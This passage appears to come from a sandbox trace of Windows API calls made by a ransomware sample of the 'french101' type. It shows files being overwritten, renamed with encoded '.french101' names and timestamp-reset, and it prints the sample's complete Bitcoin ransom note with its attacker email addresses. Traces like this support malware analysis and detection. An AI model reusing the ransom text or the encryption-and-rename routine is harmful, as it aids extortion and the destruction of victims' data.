lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rtfw", lpUsedDefaultChar=0x0) returned 4 [0283.243] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\я" (normalized: "c:\\588bce7c90097ed212\\2070\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0283.245] WriteFile (in: hFile=0x308, lpBuffer=0x3f31cc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cc8*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0283.245] CloseHandle (hObject=0x308) returned 1 [0283.246] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\я" (normalized: "c:\\588bce7c90097ed212\\2070\\я")) returned 1 [0283.246] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0283.247] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0283.247] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0283.247] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0283.247] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf", dwFileAttributes=0x20) returned 1 [0283.323] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0283.323] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.323] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xfaf [0283.323] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.323] SetFilePointer (in: hFile=0x398, lDistanceToMove=4015, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0xfaf [0283.323] WriteFile (in: hFile=0x398, lpBuffer=0x3f31c98*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c98*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0283.335] CloseHandle (hObject=0x398) returned 1 [0283.336] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0283.336] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.336] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xfb0 [0283.336] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.336] SetFilePointer (in: hFile=0x398, lDistanceToMove=4015, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xfaf [0283.336] SetEndOfFile (hFile=0x398) returned 1 [0283.338] CloseHandle (hObject=0x398) returned 1 [0283.338] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0283.338] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0283.339] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xfaf [0283.339] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0283.339] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.339] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0283.339] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xfaf [0283.339] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0283.339] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0283.340] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0283.340] GlobalLock (hMem=0x3f40014) returned 0x3ae7e28 [0283.340] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0283.340] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.340] GlobalHandle (pMem=0x3ae7e28) returned 0x3f40014 [0283.340] GlobalUnlock (hMem=0x3f40014) returned 0 [0283.340] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0283.340] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0283.340] GlobalUnlock (hMem=0x3f40014) returned 0 [0283.340] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0283.340] WriteFile (in: hFile=0x398, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0283.341] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0283.341] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xfaf [0283.341] SetFilePointer (in: hFile=0x398, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0283.341] SetFilePointer (in: hFile=0x398, lDistanceToMove=4015, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xfaf [0283.341] WriteFile (in: hFile=0x398, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0283.355] WriteFile (in: hFile=0x398, lpBuffer=0x3efcc48*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3efcc48*, lpNumberOfBytesWritten=0x19e498*=0xb2, lpOverlapped=0x0) returned 1 [0283.357] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.357] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.357] CloseHandle (hObject=0x398) returned 1 [0283.359] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\2070\\W=x1rFlgmb9WOmNXe8KPlQ.french101" (normalized: "c:\\588bce7c90097ed212\\2070\\w=x1rflgmb9womnxe8kplq.french101")) returned 1 [0283.360] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\W=x1rFlgmb9WOmNXe8KPlQ.french101" (normalized: "c:\\588bce7c90097ed212\\2070\\w=x1rflgmb9womnxe8kplq.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0283.360] SetFileTime (hFile=0x398, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0283.360] CloseHandle (hObject=0x398) returned 1 [0283.360] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\W=x1rFlgmb9WOmNXe8KPlQ.french101", dwFileAttributes=0x80) returned 1 [0283.360] CloseHandle (hObject=0x398) returned 0 [0283.360] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.360] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.361] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.361] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.361] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0283.361] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.361] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.361] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0283.361] GlobalUnlock (hMem=0x3f40014) returned 0 [0283.361] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0283.361] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0xffffffff [0283.361] GetLastError () returned 0x2 [0283.361] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\2070\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0283.362] WriteFile (in: hFile=0x398, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19e798*=0x87f, lpOverlapped=0x0) returned 1 [0283.364] CloseHandle (hObject=0x398) returned 1 [0283.364] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.366] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0283.366] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.366] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0283.366] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0283.366] GlobalUnlock (hMem=0x3f40014) returned 0 [0283.366] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0283.367] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0283.367] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0283.367] GlobalUnlock (hMem=0x3f40014) returned 0 [0283.367] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0283.367] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.367] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.367] CharLowerBuffW (in: lpsz="LocalizedData.xml", cchLength=0x11 | out: lpsz="localizeddata.xml") returned 0x11 [0283.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0283.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.367] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0283.368] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0283.368] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xml.xmlt", lpUsedDefaultChar=0x0) returned 4 [0283.368] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da350 [0283.368] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0283.368] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0283.368] FindClose (in: hFindFile=0x6da350 | out: hFindFile=0x6da350) returned 1 [0283.368] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0283.368] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0283.369] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.369] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x1397e [0283.369] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.369] SetFilePointer (in: hFile=0x398, lDistanceToMove=80254, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x1397e [0283.369] WriteFile (in: hFile=0x398, lpBuffer=0x3f31cc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cc8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0283.408] CloseHandle (hObject=0x398) returned 1 [0283.429] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0283.429] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.429] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x1397f [0283.429] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.429] SetFilePointer (in: hFile=0x398, lDistanceToMove=80254, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x1397e [0283.429] SetEndOfFile (hFile=0x398) returned 1 [0283.432] CloseHandle (hObject=0x398) returned 1 [0283.432] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0283.432] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0283.432] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x1397e [0283.432] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0283.433] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.433] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0283.433] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0283.434] SetFilePointer (in: hFile=0x398, lDistanceToMove=40361, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x9da9 [0283.434] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0283.434] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0283.434] GlobalLock (hMem=0x3f4000c) returned 0x3ae7e28 [0283.434] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0283.434] GlobalUnlock (hMem=0x3f40014) returned 0 [0283.434] GlobalHandle (pMem=0x3ae7e28) returned 0x3f4000c [0283.434] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.434] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0283.434] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0283.435] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.447] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0283.447] WriteFile (in: hFile=0x398, lpBuffer=0x3eaa7c8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaa7c8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0283.447] SetFilePointer (in: hFile=0x398, lDistanceToMove=40361, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x9da9 [0283.447] WriteFile (in: hFile=0x398, lpBuffer=0x3eaabc8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaabc8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0283.447] SetFilePointer (in: hFile=0x398, lDistanceToMove=80254, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x1397e [0283.447] WriteFile (in: hFile=0x398, lpBuffer=0x3eaafc8*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaafc8*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0283.448] WriteFile (in: hFile=0x398, lpBuffer=0x3e632d8*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e498*=0xc2, lpOverlapped=0x0) returned 1 [0283.448] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.448] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.448] CloseHandle (hObject=0x398) returned 1 [0283.450] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\2070\\P=aYqIgfEBmwT=MAKmZQUYn6iG5ijVmXgRsTIR9uonSZkA.french101" (normalized: "c:\\588bce7c90097ed212\\2070\\p=ayqigfebmwt=makmzquyn6ig5ijvmxgrstir9uonszka.french101")) returned 1 [0283.451] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\P=aYqIgfEBmwT=MAKmZQUYn6iG5ijVmXgRsTIR9uonSZkA.french101" (normalized: 